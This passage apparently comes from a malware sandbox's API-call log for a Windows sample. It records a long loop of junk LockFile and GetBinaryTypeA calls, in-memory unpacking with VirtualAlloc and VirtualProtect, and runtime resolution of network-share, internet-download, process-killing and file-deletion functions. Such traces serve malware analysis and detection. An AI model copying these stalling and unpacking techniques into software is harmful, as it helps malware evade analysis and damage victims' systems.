lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.539] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.539] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.540] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.540] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.541] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.541] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.542] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.542] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.543] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.543] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.544] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.545] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.545] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.545] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.545] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.944] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x54 [0028.946] Module32First (hSnapshot=0x54, lpme=0x18fc2c) returned 1 [0028.948] CloseHandle (hObject=0x54) returned 1 [0028.948] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0028.948] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.948] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.948] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0028.948] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0028.949] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0028.949] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0028.949] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0028.949] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0028.949] SetErrorMode (uMode=0x400) returned 0x0 [0028.949] SetErrorMode (uMode=0x0) returned 0x400 [0028.949] GetVersionExA (in: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x11239, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18edb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.949] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x2a0000 [0028.955] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fe38 | out: lpflOldProtect=0x18fe38*=0x2) returned 1 [0029.121] VirtualFree (lpAddress=0x2a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0029.122] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0029.122] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0029.122] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0029.123] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0029.123] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0029.123] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0029.123] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74a90000 [0029.222] GetProcAddress (hModule=0x74a90000, lpProcName="WNetCloseEnum") returned 0x74a92dd6 [0029.222] GetProcAddress (hModule=0x74a90000, lpProcName="WNetOpenEnumW") returned 0x74a92f06 [0029.223] GetProcAddress (hModule=0x74a90000, lpProcName="WNetEnumResourceW") returned 0x74a93058 [0029.223] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0031.704] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0031.704] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0031.704] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0031.705] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0031.705] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0031.705] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0031.705] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0031.705] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74a50000 [0031.869] GetProcAddress (hModule=0x74a50000, lpProcName="timeGetTime") returned 0x74a526e0 [0031.869] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0031.869] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0031.869] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0031.869] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0031.870] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0031.870] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0031.870] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0031.870] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0031.870] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0031.870] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0031.871] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0031.872] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0031.873] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0031.874] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 